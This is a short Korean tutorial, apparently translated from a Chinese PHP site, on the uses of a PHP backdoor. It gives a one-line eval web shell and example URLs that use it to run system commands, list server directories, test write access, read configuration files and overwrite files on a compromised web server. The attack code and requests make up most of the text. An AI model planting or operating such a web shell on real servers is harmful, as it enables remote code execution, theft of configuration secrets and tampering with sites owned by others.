PHP 백도어의 일부 용도

오늘은 PHP에서 백도어의 가장 일반적인 용도에 대해 이야기하겠습니다.

먼저, 트로이 목마라고도 할 수 있는 가장 간단한 백도어를 작성하세요.

<?php eval($_GET[&#39;evl&#39;]);

그렇습니다. 이 서버에 대해 많은 실행 권한을 얻었습니다.

그 장면의 용도는 무엇인가요?

인쇄 서버phpinfo

http://www.test.com/a.php?evl=phpinfo()

디렉토리에 어떤 파일이 있는지 확인

http://www.test.com/a.php?evl=var_dump(system("ls /mnt/web/ -a"));

디렉토리에 쓰기가 가능한지 확인하세요. 다음으로, 쓰기 가능한 디렉터리에 실행 파일을 생성할 수 있습니다.

http://www.test.com/a.php?evl=var_dump(is_writable("/mnt/web/abc/"));

파일의 내용을 가져옵니다. 일반적으로 쓰기를 위해 특정 쓰기 가능한 디렉터리에 대한 구성을 읽는 데 사용됩니다.

http://www.test.com/a.php?evl=var_dump(file_get_contents("/mnt/web/temp/api.php"));

files

http://www.test.com/a.php?evl=var_dump(file_put_contents("/mnt/web/temp/api.php",file_get_contents("/mnt/web/script/test.php")));

그렇습니다. 위의 내용은 기본적으로 서버 보기를 완료할 수 있는 부분을 파괴했습니다. 다른 기능에 대해서도 추론해 보겠습니다.

위 내용은 PHP 백도어의 일부 용도의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!